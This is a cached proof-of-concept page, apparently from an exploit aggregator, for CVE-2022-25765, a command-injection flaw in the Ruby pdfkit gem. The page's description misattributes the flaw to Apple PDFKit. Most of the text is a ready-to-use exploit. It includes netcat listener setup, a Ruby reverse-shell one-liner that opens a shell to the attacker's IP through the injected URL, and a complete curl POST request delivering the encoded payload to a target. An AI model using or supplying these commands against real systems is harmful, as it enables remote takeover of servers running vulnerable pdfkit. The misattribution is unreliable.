CVE-2022-25765 PoC — Apple PDFKit 安全漏洞

Source

https://github.com/PurpleWaveIO/CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

Associated Vulnerability

Title:Apple PDFKit 安全漏洞 (CVE-2022-25765)
Description:Apple PDFKit是美国苹果（Apple）公司的其中的一个PDF文档生成组件。 Apple PDFKit 存在安全漏洞，攻击者可利用该漏洞执行非法命令。

Description

pdfkit <0.8.6 command injection shell. The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. (Tested on ver 0.8.6) - CVE-2022-25765

Readme

# CVE-2022-25765-pdfkit-Exploit-Reverse-Shell
pdfkit &lt;0.8.6 command injection shell. The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. (Tested on ver 0.8.6) - CVE-2022-25765

Pre-reqs:
1. Setup HTTP Server - <i>python3 -m http.server</i>
2. Setup Netcat Listener - <i>nc -lvnp 4444</i>

Reverse Ruby Shell via webpage:
<i>http://LOCAL-IP:LOCAL-HTTP-PORT/?name=%20` ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("LOCAL-IP",LOCAL-LISTEN-PORT))')</i>


Via CURL (modify <b>bold</b> values):
<i>curl '<b>TARGET-URL</b>' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: <b>TARGET_URL</b>' -H 'Connection: keep-alive' -H 'Referer: <b>TARGET_URL</b>' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F<b>LOCAL-IP</b>%3A<b>LOCAL-HTTP-PORT</b>%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22<b>LOCAL-IP</b>%22%2C<b>LOCAL-LISTEN-PORT</b>%29%29%27%60'</i>

File Snapshot


 [4.0K]  /data/pocs/007b8d58b76dfdca6115fbbfa71ad313c668c652
├── [ 676]  CVE-2022-25765.txt
└── [1.3K]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!